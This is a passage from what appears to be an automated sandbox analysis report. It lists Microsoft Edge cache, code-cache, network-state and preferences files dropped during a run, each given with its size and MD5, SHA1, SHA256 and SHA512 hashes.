                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          992cbdc768319cbd64c1ec740134deccbb990d29d7dccd5ecd5c49672fa98ea3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          df64e0f8c59b50bcffb523b6eab8fabf5f0c5c3d1abbfc6aa4831b4f6ce008320c66121dcedd124533867a9d5de83c424c5e9390bf0a95c8e641af6de74dabff

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000018
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          53KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          68f0a51fa86985999964ee43de12cdd5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          bbfc7666be00c560b7394fa0b82b864237a99d8c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          f230c691e1525fac0191e2f4a1db36046306eb7d19808b7bf8227b7ed75e5a0f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3049b9bd4160bfa702f2e2b6c1714c960d2c422e3481d3b6dd7006e65aa5075eed1dc9b8a2337e0501e9a7780a38718d298b2415cf30ec9e115a9360df5fa2a7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          18KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          748af1361f585e4c31e8cca080f55c01

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          f221bbc1cd3bf876a1d9399883238df70f59cd97

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a08a6dbb99945333b7641d9487a6fa51b6401b67014dae00732f79f4d08aeb45

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          83cb912ebef92317f3b3881f1235171b98f866cb5b975fa34b8126b59d4b1c51205f61aa4a712fa0fc8b40492b63498666e3d6ffafba733b01b4e81ca031c048

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0bf62b9b2b245fdbf95e68f9a4c9fd1d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          e8f336a506ab846d83ec1113e92e2b69b4ce801b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cc7f8583ce8244cc2d9794c5d029007e5a66fc3a482d87bfaa45782c469bc848

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cb2406c4558b080bf6a250d5c509d86c864963eff8c678907223343705b6084f3adcf9e9e6e59389466c2d95d5c214d6374d4042bb32f568eca95ef7a50efc0d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          77cd4ea24675f7dcca3fa065b03a7520

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          452ce7d2927e01421fbb00e44432049b3d6289b4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          331ded2de9ec8cdb33b702cf9403172ad52fa8d59e7f800bfe2c1185dc3bed93

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dce2a4f4e3a33c19f840e6d705fb5f985665a7c74999e95bd857269b992d458a9c0960de2e81f2aa440b4f89b59a4d3ce877567d88eadb1cfc855cd495706612

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          120B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ea4a0babb9e6cfdc43b66232a267fdcc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fddea436e2b0659ac3981ecb6d1190759843cadf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          656ac7fefb242d042dca4d4dd9dc60e444d54ad52369843198e7785b4bd66197

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          24ef4c5d6cdbeaed462833d0330a5d13a1150ad2990790ea479eed6316f6fe76be1f6d9eec45eb7afbbfe0e3e29370cd4b840881e5b908d44e9bd56e2ec1df80

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          334B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7a0d285d3242c27f8a96cee4c630452c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          81f75a30ddc16ca7653ea8424bd4cfabb9d223a2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          f4958be076ef8e7fea7d5535076bdab970452e54d3343804f69fda8eaad1d002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          705a0cc12258855447bc2edf1bd4c2fcc4036964fa46626fe147f8242285f37a7c828960f7aa5b66bd124f90596c832708c810c26ddf773eee3c0606e7ce7af4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5e6963e5d9be7bbc053293817039a54a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ab1e1864a2e549855ba2ec99fbde747ab81691d6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          006e0cee78636e314a52f8735db1f41875f9c05817dc9db237743cc39ba34e90

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9e4090c7e05ecefba820f170852d9c537996efcd77966d63e5ff5073698dced3ac504cddddcbdceb269bb28345713343794352690f1794933bff2429236bf79d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ed5659505a9c81ba5dea49d701e7017e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b25515e112a7bdda5803759b13e9204027ec245e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          09c0d47378eaec832cde645dc20ac5e62886883ff7642e3acdf92a17c08b779e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          74fd18aa4ee2bfa29da0938511a1deb2dd56f729a6878fc1f08d6e8060ab3641ec7af6be82555cbf28a5bdb0c5e41be6276f4c4be87f0b9f50b949dc1d1b6512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          374b076d023125ad5245e9a88099c288

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          60bd25b86c69b230401a97bfd03bbab122a841b1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          248a396ac05d7a98546c22dd58217a3ad577b0f4390058af7d8f4d656caa92e3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7c7c0a0c0493190211ca1219ed97d3c620f42750a18c98000f128e2d57f7c1ea4970754b2e4400d4350d9e1d3d369db5a9497ed1cd1ba0844d2ab4de7a266aa1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          f0ab3f78b289affdff61d75e3d97eb77

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fe7f486002c2aa295440825fe6eac9f9031a4412

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0ca23bba55bfd83b5e2f4c5e17e7890c85208ee2a5961e7cd2e43252bf53cd47

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a98b4c8efb79cba5a0e40fe35beca3026783c28807b88c7b5d0d236b1643677c9ea17d7147133093062c28e9af4c39176ba7cccd8dce679500d9732354e164ed

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          e9f555dca903e68724c68ee7ed66af15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          e1f99431b93dc033b601cfc26fbdabf890af0c5c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          65e7d01ce7947c2f7a7bf5d4068a73b0d70824b55285f6544266fbfddc0c5cfb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          73a9ee7f25ceffdf56f3b3b19ceb931b59731ab7841c9770789e7dbf1e1c1f5f1ade9b6cfa8411599422f79bf73b026d97f9b68f1ba427ad88ef0a8d0a9ee510

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          affc3dadaa4097a35ecc5a147323ac8a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          f7b7c6df2f6e44e5cb4085a242a4c950ce24621d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          d73fcfb2010cca1c9b870c17d940226127a10fe268d4d3c30aff0920eb94278d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          81cb6e052a60878cf8be22de9526a171d57aee3f75fa9701161a8e159e19af2055d5cbceef11547c5856fe7861cf182d377d41736b46adb56cc465f64af95390

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0327b7e2f84a5b3f2a7a720dd4ec887c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ee89ba1ab6f603f4803bf6ae5d90dfe70c05b6a3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          edb17bf0c150ac69b33dfe15364c34a8bc04b408cc916e22cd73a000974172cc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7ab2c509430c67a027308771d04ff7bf4060f961c5743fc2f52e1c1e8542c0a0a8e6788624a0b2326e4a06195bda2b74a38a35e57f82bf2e026e36df4fda6595

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3fb0e55bcb27e63c4f4e643379767899

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dc4fa550d9e234827a647c5fc16646254412d5e0

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7f867bd201e6ce2cba4dda79214cf677003493c4395dc93bfd2452fe2df10ac1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a7f93e5f7cae3f30fa6db4f4ffda6d571f9204170c1686656d31e61966314692792c9d85bc1aea48002c86e1b910de6c06d80fcd2ece10ee4692790f098d7d03

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5855c8ecd55cf3bee8705b33c50975e2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          82c856c1e9af6bc6917a7f71042ea53426ed9d20

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          74818548c7175907334639547e6b49dea2cff95220871cc3e1f504134bd1370d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          59de1a178387f60020ad3da97a68ef9912ab30dc738b7607fc3f15a5b9a64532a4932b5717a9f2b87887ca78dcee686eae02a95522c4c062adfd9b747f8d765a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          c14b76cd8e6735e9294a4dfae58f490b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          b9897b530a5e86c7738814f1f2b4ae833f24dc8b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          00989650f3a887d225a9e78ad66c61276fbc3c3c4e9d490a041e10701848f031

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          d841b079462a47434c8566c9ef033e603a92572d5063d2059d2bb4ac29eddcfd4674822038d0c64fcceec13dad19225c55c4a95154ee343837d58ef413204100

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88f0e0a714cc0e0b55e30647c961adda

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          588365b14d47f35ae0369aa9a86e4edf70cadfce

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1becc1f3d4ec7ae9c6813a6dbdc26cc06083a2786f44850abf82a0dd9be02bbe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          a91c8f3334fc27f30554d7e77a470e4177d099b51f52489c74bc55055538907c9c3672760b1ae2ff6727545ddf562496c1629e85e9c506e7cd7743cd8ba28595

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9cc242e098f846bf3499804affadb81a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9d6fa43adb1a6d316db9ddacc8136dedf39ef3ca

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0e33aa94ddda38eb76fc64b3d5920e1ae9e141ac9b5e9563421f26324053a010

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          e5416a66302faee96b6346f739fb9e460711eb68224884d4aa3cf7479ad86050eaa89fe96b8c5524307eb156c44b4c655258a26ace9a75ca3364a61da233c478

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          212878181fc0e0a75f301aeb3e9e4b74

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4b9ccdf02d4c138d0d0cd67a70efa140cade5fe7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7319902b5ea61475afb1d802a3cf987f052257d336598e444db34d78f3dd1390

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ad87359b1620c4f026dfcba38aff78f434a06ea45d45fc6e7b85765247c767108b45381278ca5b335784eef1592661d323df0d57ce6be754066bf759f5f745d1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0d982d43300f730ac48f70cdb27f03bb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          886da1a2884200bd0a7e19d82529ef4db72d1216

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9898e1636ff41f0be5700aba8861c9161ce42abb00af38e74a47867345df2070

